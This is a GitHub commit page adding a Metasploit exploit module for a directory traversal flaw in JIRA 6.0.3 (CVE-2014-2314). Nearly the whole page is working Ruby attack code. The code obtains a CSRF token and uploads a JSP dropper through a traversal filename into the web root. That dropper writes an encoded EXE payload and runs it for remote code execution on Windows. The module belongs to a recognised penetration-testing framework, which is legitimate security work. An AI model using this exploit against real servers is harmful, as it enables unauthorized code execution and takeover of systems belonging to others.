Skip to content

Commit ea1c6fe

Browse files
committed
Land rapid7#3177 - JIRA Issues Collector Directory Traversal
2 parents 395f5be + a85d451 commit ea1c6fe

File tree

1 file changed

+209
-0
lines changed

1 file changed

+209
-0
lines changed
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'JIRA Issues Collector Directory Traversal',
18+
'Description' => %q{
19+
This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
20+
in the issues collector code, while handling attachments provided by the user. It can be
21+
exploited in Windows environments to get remote code execution. This module has been tested
22+
successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.
23+
},
24+
'Author' =>
25+
[
26+
'Philippe Arteau', # Vulnerability Discovery
27+
'juan vazquez' # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'CVE', '2014-2314'],
33+
[ 'OSVDB', '103807' ],
34+
[ 'BID', '65849' ],
35+
[ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ],
36+
[ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ]
37+
],
38+
'Privileged' => true,
39+
'Platform' => 'win',
40+
'Targets' =>
41+
[
42+
[ 'Jira 6.0.3 / Windows 2003 SP2',
43+
{
44+
'Arch' => ARCH_X86,
45+
'Platform' => 'win'
46+
}
47+
]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Feb 26 2014'))
51+
52+
register_options(
53+
[
54+
Opt::RPORT(8080),
55+
OptString.new('TARGETURI', [true, 'Path to JIRA', '/']),
56+
OptInt.new('COLLECTOR', [true, 'Collector ID'])
57+
], self.class)
58+
59+
register_advanced_options(
60+
[
61+
# By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp
62+
OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]),
63+
# By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian'
64+
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6])
65+
], self.class)
66+
end
67+
68+
def get_upload_token
69+
res = send_request_cgi(
70+
{
71+
'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
72+
'method' => 'POST',
73+
'data' => rand_text_alpha(10 + rand(10)),
74+
'vars_get' =>
75+
{
76+
'filename' => rand_text_alpha(10 + rand(10))
77+
}
78+
})
79+
80+
if res and res.code == 500 and res.body =~ /"token":"(.*)"}/
81+
csrf_token = $1
82+
@cookie = res.get_cookies
83+
else
84+
csrf_token = ""
85+
end
86+
87+
return csrf_token
88+
end
89+
90+
def upload_file(filename, contents, csrf_token)
91+
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
92+
traversal << datastore['JIRA_PATH']
93+
94+
res = send_request_cgi(
95+
{
96+
'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
97+
'method' => 'POST',
98+
'data' => contents,
99+
'cookie' => @cookie,
100+
'ctype' => 'text/plain',
101+
'vars_get' =>
102+
{
103+
'filename' => "#{traversal}\\#{filename}",
104+
'atl_token' => csrf_token
105+
}
106+
})
107+
108+
if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/
109+
register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}")
110+
register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}")
111+
return true
112+
else
113+
print_error("#{peer} - Upload failed...")
114+
return false
115+
end
116+
end
117+
118+
def upload_and_run_jsp(filename, contents)
119+
print_status("#{peer} - Getting a valid CSRF token...")
120+
csrf_token = get_upload_token
121+
fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty?
122+
123+
print_status("#{peer} - Exploiting traversal to upload JSP dropper...")
124+
upload_file(filename, contents, csrf_token)
125+
126+
print_status("#{peer} - Executing the dropper...")
127+
send_request_cgi(
128+
{
129+
'uri' => normalize_uri(target_uri.path, filename),
130+
'method' => 'GET'
131+
})
132+
end
133+
134+
def check
135+
res = send_request_cgi({
136+
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
137+
})
138+
139+
if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/
140+
version = $1
141+
else
142+
return Exploit::CheckCode::Unknown
143+
end
144+
145+
if version <= "6.0.3"
146+
return Exploit::CheckCode::Detected
147+
end
148+
149+
return Exploit::CheckCode::Safe
150+
end
151+
152+
def exploit
153+
print_status("#{peer} - Generating EXE...")
154+
exe = payload.encoded_exe
155+
@exe_filename = Rex::Text.rand_text_alpha(8) + ".exe"
156+
157+
print_status("#{peer} - Generating JSP dropper...")
158+
dropper = jsp_drop_and_execute(exe, @exe_filename)
159+
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"
160+
161+
print_status("#{peer} - Uploading and running JSP dropper...")
162+
upload_and_run_jsp(dropper_filename, dropper)
163+
end
164+
165+
# This should probably go in a mixin (by egypt)
166+
def jsp_drop_bin(bin_data, output_file)
167+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
168+
jspraw << %Q|<%\n|
169+
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
170+
171+
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
172+
173+
jspraw << %Q|int numbytes = data.length();\n|
174+
175+
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
176+
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
177+
jspraw << %Q|{\n|
178+
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
179+
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
180+
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
181+
jspraw << %Q| comb <<= 4;\n|
182+
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
183+
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
184+
jspraw << %Q|}\n|
185+
186+
jspraw << %Q|outputstream.write(bytes);\n|
187+
jspraw << %Q|outputstream.close();\n|
188+
jspraw << %Q|%>\n|
189+
190+
jspraw
191+
end
192+
193+
def jsp_execute_command(command)
194+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
195+
jspraw << %Q|<%\n|
196+
jspraw << %Q|try {\n|
197+
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
198+
jspraw << %Q|} catch (IOException ioe) { }\n|
199+
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
200+
jspraw << %Q|%>\n|
201+
202+
jspraw
203+
end
204+
205+
def jsp_drop_and_execute(bin_data, output_file)
206+
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
207+
end
208+
209+
end

0 commit comments

Comments
 (0)